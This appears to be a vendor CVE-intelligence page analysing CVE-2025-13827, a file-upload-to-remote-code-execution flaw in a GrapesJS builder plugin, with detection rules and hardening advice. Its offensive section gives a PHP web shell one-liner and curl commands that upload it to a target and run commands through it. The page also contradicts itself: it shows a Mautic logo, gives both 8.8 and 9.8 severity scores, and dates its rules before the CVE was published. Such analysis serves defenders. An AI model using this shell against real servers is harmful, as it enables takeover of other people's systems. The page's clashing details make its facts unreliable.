☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Mautic logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 🐛 CWE-434
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-13827

CVE-2025-13827 Remote Code Execution in Grapesjs
📅 PUBLISHED: 2025-12-02 16:54 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.42%
👁️
0.42% probability
10.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-13827 is a critical unauthenticated arbitrary file upload vulnerability in the GrapesJS Builder. The vulnerability exists because the application does not restrict the types of files that can be uploaded via the media upload functionality. If the media folder is not configured to prevent execution of uploaded files, an attacker can upload a malicious web shell (e.g., a PHP file) and achieve Remote Code Execution (RCE) on the underlying server. This vulnerability is particularly dangerous for WordPress sites that use the GrapesJS Builder plugin, as the default WordPress media directory is often web-accessible and may allow script execution.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

GrapesJS is an open-source web builder framework distributed via npm (grapesjs). This vulnerability affects any application that integrates the GrapesJS Builder and does not implement additional file type validation on the server side. The risk is amplified in supply chain scenarios where the builder is embedded in larger CMS platforms or SaaS products, as a compromise of the builder can lead to full server takeover.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication is needed.
  • User Interaction (UI): None (N) – No user action is required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full file system read access possible.
  • Integrity (I): High (H) – Arbitrary file write/modification possible.
  • Availability (A): High (H) – Server compromise can lead to denial of service.

CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The GrapesJS Builder provides a media upload endpoint that accepts file uploads. The vulnerability stems from the lack of server-side validation of the uploaded file's MIME type or extension. The application only checks the file extension on the client side (if at all), and the server blindly accepts any file type.

Attack Flow:

  1. An attacker identifies a target running GrapesJS Builder (e.g., a WordPress site with the plugin).
  2. The attacker crafts a malicious PHP file (e.g., shell.php) containing a web shell payload.
  3. The attacker sends a POST request to the media upload endpoint (e.g., /wp-content/plugins/grapesjs-builder/upload.php or a custom route) with the malicious file.
  4. The server accepts the file and stores it in the media directory (e.g., /wp-content/uploads/).
  5. If the media directory allows execution of PHP files (default in many misconfigured environments), the attacker accesses the uploaded file via a web browser.
  6. The web shell executes, giving the attacker remote command execution on the server.

Root Cause: The server-side code does not validate the file extension or MIME type. The upload handler likely uses a generic function like move_uploaded_file() without checking the file's type.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// upload.php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded successfully.";

Patched Code (Conceptual):

// upload.php
$allowed_types = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
$target_dir = "uploads/";
$file_type = mime_content_type($_FILES["file"]["tmp_name"]);
$file_ext = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));
$allowed_exts = ['jpg', 'jpeg', 'png', 'gif', 'webp'];

if (in_array($file_type, $allowed_types) && in_array($file_ext, $allowed_exts)) {
    $target_file = $target_dir . uniqid() . '.' . $file_ext;
    move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
    echo "File uploaded successfully.";
} else {
    echo "Invalid file type.";
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install a vulnerable version of GrapesJS Builder on a local WordPress instance.
  2. Ensure the uploads directory is writable and PHP execution is enabled.

Exploitation Steps:

  1. Create a malicious PHP file:
    <?php system($_GET['cmd']); ?>
    
  2. Upload the file using a tool like curl:
    curl -X POST -F "file=@shell.php" http://target.com/wp-content/plugins/grapesjs-builder/upload.php
    
  3. Access the uploaded shell:
    curl http://target.com/wp-content/uploads/shell.php?cmd=id
    

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection:

  • Monitor for file uploads with suspicious extensions (.php, .phtml, .php5, .shtml, .cgi, .asp, .aspx, .jsp).
  • Alert on uploads to directories that are not typically used for media (e.g., /wp-content/plugins/).
  • Use WAF rules to block uploads of executable files.

Mitigation:

  • Restrict the media directory from executing scripts (e.g., via .htaccess or Nginx config).
  • Implement server-side file type validation (MIME type and extension whitelist).
  • Rename uploaded files to a random string and strip the original extension.
  • Store uploaded files outside the web root and serve them via a proxy script.

Indicators of Compromise (IOCs)

  • File: shell.php, cmd.php, webshell.php, or any .php file in the uploads directory.
  • Network: POST requests to /wp-content/plugins/grapesjs-builder/upload.php or similar endpoints with Content-Type: multipart/form-data.
  • Logs: Access logs showing requests to uploaded PHP files with query parameters like ?cmd=, ?exec=, ?command=.
  • Process: Unusual child processes of the web server (e.g., id, whoami, ls).

Detection Engineering

YARA Rule

rule CVE_2025_13827_Webshell_Upload {
    meta:
        description = "Detects web shell uploads targeting GrapesJS Builder"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13827"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
        $passthru = "passthru("
        $cmd_var = "$_GET['cmd']" nocase
        $post_var = "$_POST['cmd']" nocase
    condition:
        $php_tag and 1 of ($system_call, $shell_exec, $exec_call, $passthru, $cmd_var, $post_var)
}

Sigma Rule

title: CVE-2025-13827 GrapesJS Builder Arbitrary File Upload
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects file uploads with executable extensions to GrapesJS Builder endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'upload.php'
        cs-uri-query|endswith:
            - '.php'
            - '.phtml'
            - '.php5'
            - '.shtml'
            - '.cgi'
            - '.asp'
            - '.aspx'
            - '.jsp'
    condition: selection
falsepositives:
    - Legitimate plugin updates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13827 GrapesJS Builder Arbitrary File Upload"; flow:to_server,established; content:"POST"; http_method; content:"upload.php"; http_uri; content:".php"; http_client_body; pcre:"/\.(php|phtml|php5|shtml|cgi|asp|aspx|jsp)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the media upload functionality in GrapesJS Builder until a patch is applied.
  2. Server Hardening: Configure the web server to prevent execution of scripts in the uploads directory:
    • Apache: Add a .htaccess file with RemoveHandler .php .phtml .php5 and RemoveType .php .phtml .php5.
    • Nginx: Add location ~* /uploads/.*\.php$ { deny all; } to the server block.
  3. File Validation: Implement server-side validation of file MIME types and extensions. Only allow image types (JPEG, PNG, GIF, WebP).
  4. File Renaming: Rename uploaded files to a random UUID and strip the original extension.
  5. Storage Location: Store uploaded files outside the web root and serve them via a dedicated script that sets proper Content-Type headers.
  6. WAF Rules: Deploy WAF rules to block uploads of executable files.
  7. Monitoring: Enable logging and monitoring for file uploads and suspicious file access.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-13827/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.